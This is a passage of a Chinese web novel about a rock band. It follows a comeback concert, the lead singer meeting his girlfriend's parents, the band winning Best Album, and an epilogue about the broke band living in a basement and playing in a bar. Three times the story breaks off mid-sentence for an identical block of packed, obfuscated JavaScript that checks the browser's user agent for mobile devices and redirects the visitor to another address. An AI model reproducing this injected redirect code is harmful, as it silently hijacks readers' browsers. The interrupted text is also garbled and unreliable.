郭卫直接表情夸张地跳了起来，其他成员也分散在四面台的周围，和观众们互动。立刻从第一排开始，就像蝴蝶效应一般，大家纷纷站了起来，挥舞着手中的荧光棒。 整个场馆响彻着喊口号一般的声音：“放肆去嗨，放肆去爱，只有我们，改变世界，改变一切，由我定义。” 宋之雯也跟着又蹦又跳，仿佛回到了最初军训的那个晚上。 他们正年轻，年轻就是要有冲劲。 蹦了一整首歌曲，大家累得纷纷坐下，齐扬便趁这个空档开始和郭卫闲聊：“怎么有空来捧我的场了？” “吴衡好不容易回来了，当然得好好庆祝一下，而且让他回来也有我的功劳。” “是是是。”齐扬认同，“那不得多唱两首歌再走。” 屏幕很快过渡到了下一张专辑，两支乐队带来了一版全新的《四季和我》。麋鹿乐队直白而热烈，晨星乐队深沉而隐秘，但两种截然不同的音乐风格竟然意外的和谐，就如四季多彩的变换。 唱完了还有彩蛋环节，他们又合作了麋鹿乐队最近发的一首新歌，直到郭卫唱爽了才放他下去。 到了吴衡之前没有参与过的新专辑，风格又截然不同，甚至可以说是天翻地覆。 吴衡和巴顺的弹琴习惯存在很大差别，如果说巴顺的优势在于复杂的指法，那吴衡的优势在多变的和弦转换，完全不按照流行音乐规整的结构来。 但神奇的是，齐扬每次都能根据吴衡最新变换的旋律及时调整，听得人又惊又喜。 三张专辑结束，乐队的成员下台，灯光又重新暗了下来。而宋之雯清楚，这是常见的呼唤歌手出来安可的环节。 她和所有人一起，敲着荧光棒，跟随着现场的鼓点大喊着：“晨星乐队！” 偌大的体育馆里，只剩白色的荧光棒在挥舞，好像夜空中的星星。 乐队成员很快回到了舞台上，换了一身常服，最简单的衬衫牛仔裤的搭配，和大学生一样。 齐扬久久注视着台下，平缓而又带着深情地叙述：“这次的安可，我们想带来一首特殊的歌。” “从学生时代一直到参加比赛，再到正式出道，站上这个舞台。期间我们有过争吵，有过分离，也有一起深夜排练的美好回忆。这么多年，我们早就已经变成了和家人一样的关系，怎么也分不开了。” “这首歌，我第一次听到的时候，就觉得很适合我们乐队，《云景里》送给我们的友谊。” 灯光亮了起来，每个人的面前都配备了一个立麦，一人一句，和接力一样传递下去。 云景北里的路口 有二十出头的自由 一辆列车载着一个吉他手 主唱键盘贝斯没鼓手 到了副歌部分，所有分散在各处的声音突然汇聚在了一起，正如乐队的成员来自四面八方，不同的成长背景，但却神奇地相聚在一起走过许多年。 我们都在逆风前行 走在黑夜追逐黎明 不停跌倒又再次爬起 是目光坚定步履不停的我 我的世界里有你 乱的世界别乱了自己 一切都在遗憾之中完美进行 宋之雯听得眼眶有点湿润了，身边的乐迷们更是顾不得什么形象，五音不全地开始狂吼加入了大合唱。 渐渐地唱到最终的结尾，乐队成员索性放弃了乐器，走到台前来，互相搂着，用话筒开始清唱。 又再次快乐地演奏 又再次矫情地相拥 我们是永远的永远的朋友 是彼此永远晴朗的天空 有你有我有你有我 他们看着广阔的舞台，往事的一幕幕都如电影般浮现在了眼前，但庆幸经历了这么多，还有彼此陪在身边。想到这里，成员们都互相露出了会心的微笑。 齐扬拿起话筒，中气十足地说道：“我相信，我们会一直一直陪伴下去，十年，二十年，直到我们很老很老，谢谢大家来看我们的演出，晨星乐队不说再见！” 有乐迷几乎是用沙哑的嗓子破音喊道：“晨星乐队唱到八十岁！” 台下纷纷认同，接着是此起彼伏喊各个成员名字的声音。 哪怕广播已经提示演出结束，还有乐迷们留在场地里不愿离去，自发地应援唱着歌。 宋之雯似乎明白了为什么演唱会的戒断反应那么严重了，她这一夜也兴奋得难以入眠。 而网上关于这场演唱会的讨论更是没有停过。 [我靠，我靠，一回归就给我玩这么大吗？简直封神了，真想用眼睛录下来] [我哭，我恨自己为什么不在现场，抢不到票啊啊啊] [别说小姑娘了，我一个40+的老阿姨看了也嗷嗷哭] [巡演，巡演，这么好的东西得让全国各地的人民都吃一吃] 大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294905|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都用快要溢出来的爱意和善意，接纳了吴衡的回归。 热闹了几天之后，晨星乐队的工作终于步入正轨，开始写新的单曲，并为下一张专辑做策划。 而就在这时，宋之雯也接到了一个电话，是于爱丽打来的。 虽然说过年就答应了宋岩峰要回去，但因为毕业的各种事情耽误了，再加上宋之雯最近又跟了一个新项目，忙得脱不开身，好不容易这阵子才空了一点。 于爱丽的声音温和了不少：“最近工作忙吗？” “还好。”宋之雯回答，“最近空了点，有几天假，回去看看你们。” “把你那个男朋友也一起带过来吧。” 宋之雯心里一惊：“妈，你说认真的吗？” “既然你这么喜欢的话......”于爱丽叹了口气，“把他带回来给我们看看吧，让我们看看是什么样的人。” “好。” “你们几点的飞机？” “中午的飞机，明天下午到。” “到了和我们打声招呼就过来吧。”于爱丽挂断了电话。 宋之雯捏着电话，久久没放下，虽然于爱丽的态度还是不冷不热的，但宋之雯知道她已经开始服软了。 齐扬听说要见家长的事情之后，立刻和经纪人请了假，慌里慌张地订票，还在网上搜见岳父岳母的攻略，准备了茅台和中华。 宋之雯安慰他：“别这么紧张，我爸还是很好说话的，你要是搞不定我妈，就和我爸多聊聊，我们三个人一起劝她。” 齐扬又问了宋之雯她爸妈的一些喜好，跟好学生记笔记一样一条一条记在了手机备忘录里。 第二天，他就怀着忐忑的心情登上了飞机。 从B市到宋之雯家的航程并不长，两个小时就到了。两人下了飞机，宋之雯先给于爱丽发了个消息，再打车过去。 宋之雯家是典型的江南水乡，因此一路绿水青山映着黛瓦白墙，与齐扬家截然不同。齐扬的家乡虽然也是南方城市，但更靠近内陆，建筑就更偏现代化一点。 下了车，齐扬凭借着印象找到了宋之雯家，这是一幢位于市中心的五层小楼，典型的国企员工家属楼的风格。 两人小心翼翼地爬上了楼，到了家门口，宋之雯让开一边。齐扬又在心里默默复习了一遍注意事项，才鼓足勇气按了门铃。 出来迎接的是宋岩峰，他一看到齐扬手上的东西，就很不好意思地笑笑：“买这么多啊，太客气了。” “难得见一次叔叔，应该的。”齐扬把东西都塞到了他手上。 “快点进来，门口已经准备了拖鞋，换上吧。”宋岩峰热情地招呼着他们。 齐扬走了进去，发现这间老式楼房虽然面积不大，却打扫得干干净净。穿过餐桌，就是客厅，于爱丽坐在沙发的正中央，阳光照着她有点冷意的脸。她漫不经心地掀了掀眼皮，问道：“来了？” “来了来了。”齐扬很有礼貌地朝她鞠了一躬，“阿姨好。” “坐。”于爱丽指了指她对面的一张沙发。 齐扬便在那里坐下了。 77. 第七十七章 终曲 宋之雯刚想和齐扬坐一边，于爱丽指了指另一张沙发：“你坐那边去。” 宋之雯只好在那里坐下了。 于爱丽盯着齐扬盯了许久，那姿态和审问犯人一样：“我有几个问题要问你，你得如实回答。” “好。”齐扬一口答应。 “第一个问题，你的年收入大概是多少？” 齐扬被问得愣了一下，但还是很快恢复了平静：“有时候多一点，有时候少一点，但平均下来百万是有的。” 于爱丽点点头：“买房了吗？” “买了，就是我们现在一起住的房子，正在还贷款。” “打算什么时候结婚？” “明年吧。”齐扬不好意思地挠挠头，“她现在刚毕业工作，等事业稳定下来一点。” 于爱丽抱着手臂：“你有没有想过，你这个职业很不稳定，万一你哪天不红了或者乐队解散了该怎么办？” 这个问题未免太过于刁钻，宋之雯不满地皱了皱眉头，小声地提醒道：“妈。” 于爱丽摆了摆手：“我问他，没让你说。” 齐扬很认真地思考了一下，才回答这个问题：“这个问题我也有想过，所以最好的办法就是努力存钱，这是我现在存的数目，以后都交给宋之雯保管。” 齐扬递上了一本存折，于爱丽翻了几页，还给了他：“还有你工作这么忙，以后能担当起一个家庭的重任吗？” “阿姨，这个我要解释一下。”齐扬往前坐了坐，“我们都是一段时间忙，一段时间空的，忙的时候就麻烦宋之雯照顾一下家里，空的时候换我。” 于爱丽的语气有所缓和：“我还有最后一个问题，你喜欢我女儿的哪一点？” 齐扬看着宋之雯，眼睛里露出了难得的温柔：“她是一个很坚韧的人，看似温柔，但面对多大的困难总能跌倒爬起来。而且她对人永远都是那么真诚、和气，有什么不好的也自己默默消化，我想用我的余生去保护她。” 于爱丽沉默了好一会儿才开口：“本来你们的事，我是不同意的，因为你实在没一样符合对女婿的要求。不过僵持这么久也不是办法，既然决定了跟他一起过，就努力把日子过好。” 齐扬站起了身，又对于爱丽鞠了一躬：“谢谢阿姨。” “好了好了。”宋岩峰拍拍手，“快点来吃饭吧，都是一家人，别那么见外了。” 齐扬立刻殷勤地过去帮忙摆碗筷，把每个菜都夸了一遍，吃完还主动去洗碗。 宋岩峰走回房间，从里面搬出来个物件，于爱丽皱了皱眉头：“都多久之前的东西了，你还拿出来。” “来，齐扬，听说你是歌手是吧？叔叔也很喜欢唱歌，教教叔叔吧。”宋岩峰招呼着齐扬。 齐扬走了过去，很好奇地打量着面前的物件：“请问叔叔，这个是？” “哦，这是老式的卡拉OK机，以前我经常用它来唱歌的，现在还能用，给你看看。”宋岩峰忙上忙下地接好了电线，递给齐扬一个话筒，“随便选，这里面曲库很全的。” “有童安格的歌吗？”齐扬在上面翻找。 宋岩峰一脸惊讶：“你喜欢童安格啊？” “不，是听宋之雯说叔叔你很喜欢童安格。” “那就来一首《其实你不懂我的心》怎么样？会唱吗？”宋岩峰今天格外兴奋，还喝了点酒，脸上都泛了红晕。 齐扬点点头。 于是宋之雯就看到了两个不同年代的人对着卡拉OK机大吼。 怕自己不能负担对你的深情 所以不敢靠你太近 你说要远行暗地里伤心 不让你看到哭泣的眼睛 这一刻，宋之雯忽然内心有点触动，她觉得宋岩峰多年的孤独，好像有人理解了。 晚上齐扬睡在了宋之雯家的阁楼上，紧挨着的就是一个书房，上面摆了很多相册，都是宋之雯从小到大的照片。 小时候的宋之雯戴着白色花边的帽子，穿着公主裙，就好像一个瓷娃娃。长大一点之后，家里都是和各种奖状的合影。 还真是从小到大都是好学生啊。齐扬感慨着，他很后悔高中没遇见宋之雯，那样他高考可能考得更好，不单单只过一本线了。 在宋之雯家安稳地睡了一晚，第二天宋岩峰又驱车带他们去附近的景点逛了逛，这趟短暂的回家旅途就结束了。 宋岩峰亲自送他们去了机场，还给他们塞了一大堆特产，叮嘱他们照顾好自己。 上了飞机之后，齐扬悄悄对宋之雯说道：“你爸妈也没那么难搞。” “真的？”宋之雯问。 “其实阿姨心里已经慢慢接受了，只是碍于面子不好意思表现出来。”齐扬安慰她，“会越来越好的。” 等飞机落地之后，他们又收到了一个好消息。 晨星乐队的专辑《解构》入围了华语流行音乐盛典最佳单曲、最佳编曲和最佳专辑三项奖项。 华语流行音乐盛典是如今乐坛的最高峰会，两年一届，颁出的奖项都十分有含金量，因此也是许多歌手梦寐以求的荣誉。 这次晨星乐队受到邀请，还要在盛典上表演，因此马不停蹄地开始准备。 经过反复的讨论，他们最终选定了《本我》这首歌，也是为了呈现出一个全新的晨星乐队。 盛典开始走红毯那天，他们碰到了很多熟人，有谢季青、樊博宇、杨千帆、程云山，当然还有郭卫。 郭卫一见到齐扬就来了个热烈的拥抱，用玩笑的语气问道：“你觉得这次谁会获奖？” 齐扬毫不客气：“我觉得是晨星乐队。” “那我觉得是我们乐队。”郭卫戳了戳齐扬的胸口，“听好了，这次我可不会让你了。” 这段也被人录了下来，放到网上当趣事。 红毯环节晨星乐队一出场，就吸引了大家的眼球，因为每个人的西装上都画了颜色不同的涂鸦，杂乱却有艺术感。 谢季青把话筒递给了齐扬：“这个涂鸦是你们自己设计的吗？有什么寓意呢？” 齐扬点头：“是我们为这次的盛典专门设计的，寓意就是可以代表我们乐队不同成员不同的性格。” “此次的回归和之前相比有什么不同吗？” “不同就是人更加成熟了吧。”吴衡接过话筒，“现在团队面对分歧会更友好地商讨去解决。” “对这次的颁奖有什么期望吗？” “没什么期望，尽力就好。”何瑜笑着冲镜头比了个“耶”。 七点钟，各位嘉宾陆续就坐，齐扬拿手机给宋之雯发了个消息：“准备上台了。” 宋之雯回复：“不管拿没拿奖，你在我心里永远是最优秀的。” 七点半颁奖典礼准时开始，开场秀是Urban乐队的新歌《虚拟城市》。 经过了这一年的锻炼，樊博宇已经褪去了青涩，开创了独一份的电子音乐赛道，支持的人越来越多，不再是当初那个不自信的男孩了。 完美的视听盛宴和新潮的舞蹈引发了阵阵掌声。 谢季青走上台，用动听的声音说道：“下面来颁发本次盛典的第一项奖项，最佳编曲奖。入围的专辑有Urban乐队《虚拟城市》、杨千帆《海岸》、程云山《天地之间》、麋鹿乐队《迷》和晨星乐队《解构》。” 镜头对准了各个乐队和歌手。 “获奖者是谁呢？”谢季青缓缓地抽出了信封，俏皮地笑了一下，“让我们恭喜Urban乐队！” 樊博宇听到乐队的名字后立刻捂住了嘴巴，一脸不敢相信，和成员们一起上台，激动得连话都说不出来。 台下纷纷送上鼓励的掌声。 “没事。”吴衡握住齐扬的手，“不是还有两项吗？” 接下来就轮到晨星乐队表演了，乐队特意把这首歌的编曲删繁至简，目的在于保留最纯粹的人声。 舞台上，只有吉他伴奏的声音，乐队成员一人一句，诉说着真实的自我，虽然视觉效果没那么好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297003|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但情感却格外打动人。 “好，谢谢晨星乐队的表演。”谢季青也跟着拍手，“下面我们来颁发第二项奖项，最佳单曲奖，获奖的会是谁呢？” 按照刚刚Urban乐队表演了之后获奖的套路，大家都以为会是晨星乐队。 “让我们恭喜麋鹿乐队！” 这回郭卫是得意地朝齐扬眨了眨眼，欢快地跑上台领奖。 然而网友的内心却不好受了。 [再度轮空？不会吧。] [《解构》这么好的专辑难道不值得一个奖？] [晨星乐队这次不会陪跑，颗粒无收吧？] [放宽心，不是还有最后一个奖项吗？] [难，这么多乐坛前辈，竞争可激烈了，前面两项已经是希望最大的了。] 随着奖项一项项颁发下去，乐队成员的心也越来越沉，尤其是杨千帆今天收获颇丰，到现在已经斩获了两项奖项。 终于颁奖典礼接近了尾声，只剩最后一项最佳专辑奖没颁发了。 如果说盛典是歌手的最高荣誉，那最佳专辑奖就是荣誉中的荣誉，多少歌手穷极一生也触碰不到。 “最后一个奖项了，卖个关子......”谢季青特意拖长了声音，“让我们再用短片来回顾一下这几张非常优秀的专辑，孔尚《凡人》、麋鹿乐队《迷》、杨千帆《海岸》、程云山《天地之间》、格律乐队《节奏》和晨星乐队《解构》。” 短片不断变换着各个专辑的片段，每个风格都独一份，可以说谁拿奖都没有异议。 宋之雯此时在屏幕前和所有观众一样紧张，手心都渗出了汗。 谢季青抽出了最后写着获奖名字的信封。 “让我们恭喜晨星乐队的《解构》获得年度最佳专辑！” 这一刻，积攒了一晚上的压力都释放了出来，乐队成员抱在一起又哭又笑，网上也一片狂欢。 整理好了心情，乐队成员一起上台，由齐扬代表发言。 齐扬接过了谢季青递来的奖杯，是一张金色的专辑，感觉这份荣誉沉甸甸的。 他一手展示着专辑，一手拿着话筒：“尊敬的各位前辈们，很荣幸能站在这里领最佳专辑这个奖项。作为一支年轻的乐队，我们为自己如此幸运地获奖而高兴，但也深知这个荣誉的分量。这张专辑刚开始推出的时候，大家并不看好，但我们还是坚持着，因为我们想做最纯粹的音乐。” 这句话引发了台下的一片音乐人叫好。 “感谢评委，让我们知道我们的坚持是有意义的。也感谢和我并肩作战的伙伴们，你们是我最忠实的战友和家人。也谢谢我的另一半，能花费一整个青春配着一个男孩成长。今后晨星乐队不会停止脚步，我们相信还会创造更多的惊喜。” 齐扬的发言结束后，立刻被传播到了网上，被大家称赞为领奖教科书。 “不愧是队长，发言非常稳重得体。”谢季青走了过来，一脸八卦地看着他，“我想问问你，获奖后的第一个愿望是什么？” 齐扬的笑容里带了一丝甜蜜：“回家。” 台下笑倒了一片，就连谢季青也笑了：“好，那就赶快回家吧。” 齐扬说的是实话，他一出来，就直奔地下车库，发动了汽车往回家赶。 街道两旁绚丽的霓虹灯闪烁，每分每秒都在不断变换着颜色，正如他的心情一样流光溢彩，他迫切地想要把这份喜悦和宋之雯分享。 到了家他推开门，却看到了让他心里变得柔软的一幕。宋之雯已经躺在沙发上睡着了，此时正是夏天，她只穿了一件吊带睡裙，肩带滑落，蜷缩在那里，安静得像一只小猫。 齐扬轻轻走过去，抱起她到了房间里，给她盖上毯子，自己又钻了进去，从背后搂着她。 两个人皮肤接触的地方因为出汗变得有些黏湿，宋之雯迷迷糊糊醒了，问道：“你干嘛？” 齐扬把她搂得更紧了：“我是想说，有你在，真好。” （正文完） 78. 番外一 地下室那些事儿 那天似乎是寻常的一天，看起来和往常并没有什么不同。初秋的季节B市依旧是黄沙漫天，路上行人匆匆，乐队照常从住的地方出发去公司排练。 他们到得比较早，便在排练厅等候着。偌大的公司此时静悄悄的，听不到一点声响。 到了十一点，离约定的时间已经过去一个小时了，却依旧不见老师的踪影。 齐扬等得有点不耐烦，拨通了老师的电话，但好几次都只能听到嘟嘟的忙音。 他无奈地把手机展示给乐队的成员看，吴衡又试着找经纪人讨要说法，结果却意外地联系不上了。 接下来他们又拨了助理、艺人总管、公司副经理、总经理的电话，连涂龙的电话都拨了，通通打不通。 碰了一鼻子灰之后，他们只好猜测大概是有什么急事，只能打道回府。 结果收拾东西的时候，他们被窗外的景象惊呆了。 楼下密密麻麻都是人，手里举着横幅，上面用红色的颜料大力地写着“欠债还钱”，看起来触目惊心。 乐队的成员识相地从侧门溜了出去，何瑜找了一个面相还算和善的老太太问道：“阿姨，能问问这些人在干什么吗？” 老太惊讶地看了她一眼：“姑娘，你没看今天的新闻吗？这家公司的老板卷款潜逃了，他的合伙人涂龙正要和他打官司呢，现在曾经在公司工作过的这些人都要求还清欠的工资。” 何瑜只觉得头顶瞬间有片阴影笼罩了下来，她咬着牙打开手机，果然微博的第一条就是#无忧娱乐董事携钱款潜逃国外#。 后面密密麻麻的都是粉丝的跟帖，说他们家的艺人在里面遭到了多少不公平的对待，有些聪明的听到风声的早就跳槽了。 “唉，娱乐至死啊。”老太叹了口气，转身就走了。 乐队成员们已经不记得自己是怎么回去的了，只记得一回到公寓，房东立刻要收回现在的房子。他说自己和这家公司也是合作关系，现在谈崩了，房子自然没法给他们住了。 九月初的B市，秋老虎的余力还没有过，猛烈的太阳晒得人发晕。五个人就这么拖着行李箱在大街上漫无目的地走着，最后他们决定还是先找个酒店对付一下，把事情解决了再另外找住处。 他们首先给进公司时带他们的师哥打电话，结果师哥说自己也因为解约的事情焦头烂额，没什么能帮上他们的。 齐扬又打了涂龙留给他的电话，打了几次都是忙音。 “操。”齐扬忍不住骂了一句，狠狠地把手机丢回了床上。 接下来的好多天，乐队成员觉得自己就是被抛弃没人要的孩子，在这个城市没有一丝立足之地。 也不是没有给别的公司投过简历，结果别人一听说他们是无忧娱乐出来的，立刻婉拒了。 他们唯一的希望，就是坚持不懈地打那几个电话，期待它会有通的那一天。 终于有一天，电话接通了，里面响起一个沙哑的男声：“请问你哪位？” “你还有脸问出这种话。”齐扬牙都要咬碎了，“我要解约。” “你忘了当初签的合同了？十年，如果在这期间违约的话要赔偿巨额的违约金。”那个声音带着点高高在上的慵懒。 齐扬深吸一口气，让自己平静下来：“我知道，只要你现在能给我解约，我答应你的条件。” “你真的想好了？”电话那头传来一阵嗤笑声。 “想好了，你开个价吧。” 对方毫不犹豫地报出了一个数字。 齐扬倒吸了一口凉气，这个数字意味着他们要背上巨额的贷款，可能一辈子都还不清，可是眼下为了获得自由没有其他办法了。 “好。”他艰难地咬了咬嘴唇，“我答应你，但是你要派人过来当场交付当场解约。” “一次性付清哦，我可不接受分期付款。” “我知道，先约定个日期吧，这几天我先去筹钱。”约好了时间后，齐扬放下电话，转头就和其他成员说道，“你们看看自己的信用卡额度，能借的都借一借。” “齐扬......要不跟你爸说一说帮你这一次吧，你爸也会理解的。”吴衡实在于心不忍。 齐扬摇了摇头：“我自己惹的祸自己承担，再说这么多钱也够我爸掏空家底的。” 这回所有人都不说话了。 晚上齐扬收到了一条转账，是凌兰发来的，备注是在网上看到新闻了，把这些年攒的钱都拿了出来，不要觉得愧疚，都收下吧。 齐扬忽然觉得鼻子有些发酸，忍着不让眼泪落下来，但最后还是没有收。 七拼八凑，几个人终于凑够了违约的钱，在那幢已经人去楼空写上了“拆”字的大楼里，亲眼看着合同盖上了红章。 拿到合同的那一刻，他们忽然觉得心情很复杂，人是自由了，但一无所有。 为了节省开支，他们和许多在这座城市打工的人一样，搬进了地下室。 地下室的光线十分昏暗，又潮湿又经常有老鼠出没，霉味经常不散去。五个人五张床，中间放着乐器，再加上一个灶台一间厕所，这就是全部的家当了。 整个房间只有一扇小窗子，晚上透过窗能看到外面的月光。 第一晚，五个人躺在床上，各怀心事。 何瑜率先打破了沉默：“我说你们是不是应该补偿老娘精神损失费，我他妈堂堂大学老师，工作都没了，来这地下室陪你们喂老鼠。” “问题是现在没钱。”韦峰抬起头来，“当务之急是怎样找到一份工作养活自己。” “明天我们一家一家酒吧去问呗？就不信没有不要我们的。”吴衡提议道。 叶琛翻了个身看着齐扬：“你怎么看？” 齐扬不说话，一直在看着手机。 叶琛和吴衡都很好奇，伸着脖子去看，才发现齐扬在翻他们大学时候的相册，其中一张宋之雯正站在旁边比耶，笑得很开心。 “哦。”吴衡使劲拍了一下他的肩膀，“我说你这张嘴但凡改一改，你们老早在一起了。” 齐扬直接瞪了他一眼，吴衡吓得闭嘴不说话了。 “行了，睡吧。”韦峰劝架道，“明天还有一场硬仗要打呢。” 其他人都钻进了被窝陆续睡去，只有齐扬还在看照片，一遍又一遍。 窗外月光照在水泥地上，惨白又冷清。 第二天下午，乐队准时出发，从酒吧一条街的第一家开始问，结果得到的都是拒绝的消息。 也是，这座城市有多少怀揣着梦想想当歌手的人，最终都是无功而返。 走到街角的末尾，大家的脚都疼了，正想坐下来休息一会儿，忽然看见一家酒吧的门口，老板娘正躺在躺椅上晒太阳，和其他老板截然不同。 她的年纪约莫三十岁的样子，但可以称得上是一个实实在在的美人，棕色的头发随意地在耳后挽起，露出流畅的鹅蛋脸和优越的眉骨。 门牌上赫然印着几个熟悉的大字，“jazz酒吧”。 齐扬不好意思打扰她，只能慢慢走上前，轻声说道：“老板娘，做生意吗？” 老板娘的眼皮动了动，缓缓睁开了眼。大家这才发现她的眼睛很深邃，有点西方人的感觉，真是个明艳的大美女。 她坐起身来，笑了：“要进来喝一杯吗？” “不，我们是想问问你们这里招不招驻唱？”吴衡抢着说道。 “带乐器了吗？”老板娘问。 “带了带了。”叶琛连忙把背的吉他展示给她看。 “先进来吧。”老板娘把他们领进了门，给他们一人倒了一杯柠檬水，“叫我江琼就好，为什么想来这里驻唱？我们的驻唱可多了去了，给我个招你们的理由。” “自我介绍一下，我们是晨星乐队，原先是无忧娱乐旗下的艺人，结果公司陷入经济纠纷案了，可能你这几天也刷到了。”齐扬打开手机，“这是我们之前出的专辑，你可以听一听。” “老板娘，我们为了解约赔偿了巨额的违约金，只能搬到地下室住，现在连饭都吃不起了，你就行行好，给我们一份工作吧，好人有好报。”韦峰恳求道。 江琼脸上依旧是淡淡的：“音乐嘛......我也是懂一点的。”她拉开了帘子，露出了后面室内的珍藏，引发了大家的一阵惊呼。 “小兄弟，我想有一点你要搞清楚。”她拿食指在桌上点了点，“我们这里是酒吧，是要赚钱做生意的，不是福利院，要留下来得拿出真本事，你们谁弹一段吉他给我听听？” 大家纷纷都把希望集中在了叶琛身上。 叶琛不紧不慢地拿出吉他，手指利落地在上面扫过，紧接着一段复古的爵士旋律在指尖流淌。 江琼托着头，仔细地听着，露出了满意的神色：“你们谁配合着这段旋律即兴唱一下？” 齐扬也管不了那么多了，开口就唱，一边想着这些天的经历一边填词。 江琼整个人往后靠了靠，抱着手臂看他们，撂下一句话：“行了，明天来上班吧，一人一个月五千，不包吃住。” 吴衡直接跳了起来，和江琼连声道谢：“谢谢，谢谢老板娘，你真是人美心善。” “以后这些乐器你们可以随便借用。” “真的？”叶琛难得露出了笑容，清爽而富有少年感，“谢谢你。” 走出酒吧之后，夕阳的余晖还没有完全落下去，齐扬看了一眼手机，是涂龙给他的转账，说对不起实在脱不开身，只有这点钱补偿一下了。 齐扬没有收，全都给他转了回去。 第二天晨星乐队就正式上岗，工作时间晚上六点到凌晨四点。 因为齐扬出众的外貌，他们很快积累了不少粉丝，有女孩子一遍遍地过来就是为了看他。 一次一个烫着大波浪，身材姣好的女生直接拿着酒过来：“喝一杯？到时候去我的房间？” “不用了，我们在这里只负责唱歌。”齐扬谢绝了。 女生还是不死心，整个人撑在了桌子上，俯身露出黑色蕾丝裙里的春光，咬着他的耳朵问：“真不考虑考虑？我家可在二环，都不用工作，你也不用每天这么辛苦驻唱。” “谢谢，那更不用了，我们都不是一路人。”齐扬礼貌地对她笑笑，但眼神有了逐客的意味。 女生把嘴一撇，说了一句“没劲”，就离开了。 凌晨四点，疯玩了一整夜的客人终于离开，只留下了江琼收拾残局。叶琛忍不住走过去，帮她把酒杯放到水槽里洗，不小心触碰到手之后又很快移开。 江琼笑了，那双眼睛在昏暗的灯光下更具有迷惑性：“弟弟，以后要记住，上来不要对人太热情，会让人觉得有目的的。” 叶琛的脸红了，把剩下的杯子放好就走了出去。 江琼把杯子一个个洗好归于原位，看到齐扬还坐在位子上喝酒，过去拍了一下他：“刚刚怎么不答应，多好的机会。我们经常有歌手凭借容貌攀上富二代的，不过不能指望他们跟你过日子，玩玩就好。” “你不懂。”吴衡笑嘻嘻地说道，“人家受了情伤。” “这样啊，那正常。感情上受挫是难免的事，习惯就好。”江琼拿了钥匙，“早点回去吧，我要关门了。” 在这里待得越久，他们就逐渐了解了江琼的身世。她从小读书就不好，大学勉强上了一个当地的三本，在学校里认识了她老公并迅速坠入爱河，毕业之后就结婚了。然而一次脚手架的倒塌让她老公的生命永远停留在了那一刻。 几场官司打下来，她获得了一笔赔偿金，拿它开了酒吧。 江琼自己说她老公虽然大学学的是建筑，但业余时间也喜欢搞搞音乐，这些吉他贝斯就是他留下来的，看着它们好像他还在身边。 叶琛第一次拿起那把吉他的时候，感觉它无比沉重。吉他整体以蓝色为主，夹杂着白色，做成很流畅的弧形，还带着细闪，用拨片轻轻地拨下去，发出清脆的音质。 当天他们就靠着这把吉他演奏，获得了满堂喝彩，从此这把吉他就成了叶琛专用。 在他们演奏途中，江琼总会穿梭在客人之间，笑意盈盈地和他们聊天，并且豪气地陪他们喝酒，但也仅仅局限于喝酒，其他的要求她一概不答应。 不知从何时起，叶琛看他们的眼神带了点嫉妒，仿佛有虫子一寸一寸地啃食他的骨头。 一天他忽然对齐扬说道：“能不能让我主唱一次？” 齐扬有点惊讶，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384193|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是答应了他，自己退到吉他手的位置，专门为晚上的演出重新排了一首《谁》。 叶琛站到了舞台前面，感觉所有的目光都聚焦在了自己身上，然而此时他并不怯懦，而是大大方方地说道：“今天我要演唱一首歌叫《谁》，送给一个人。” 江琼的目光顺着声音看了过来，两人的眼神在空中交汇。 在你眼中我是谁 你想我代替谁 彼此交换喜悲 爱得多的人总先掉眼泪 在我眼中你是谁 霸占被爱的滋味 拥抱让你好累 爱得多的人总先变虚伪 他唱歌几乎没什么技巧，甚至有点平，然而他却掏心掏肺地投入了全部的精力去唱，笨拙又有点可爱。 一首歌唱完，观众还是很给面子地鼓了掌。 中途休息的时候，叶琛和吴衡一起溜了出来，坐在台阶上抽烟。 细细的带着苦味的烟在指尖环绕，吴衡看着忽明忽暗的火光，笑着对叶琛说：“看上她了？” “嗯。”叶琛觉得也没什么好隐瞒的，直接承认了，随后他又问，“爱一个人是什么感觉？” 吴衡把烟在指尖翻来覆去转了几遍，带着一丝苦涩：“爱一个人，就是想把她据为己有，不想让别人靠近她。” “你也爱她吗？”叶琛朝里面看了一眼，“瑜姐？” 虽然他从来都没有说过，但晨星乐队人人都知道吴衡爱何瑜。 吴衡像是自嘲：“你爱她，她不爱你又能怎样，再纠缠下去，这个乐队得散。还有你当心点，这种死去的白月光威力最大，没人替代得了他。” “我知道。”叶琛把烟掐灭，站起了身。 当天的演出结束后，叶琛让其他人先走，自己一直磨磨蹭蹭地待到快要关门。 江琼把一切都收拾好之后，拿着垃圾去后门倒，一转头发现叶琛正靠在门框上看着她。 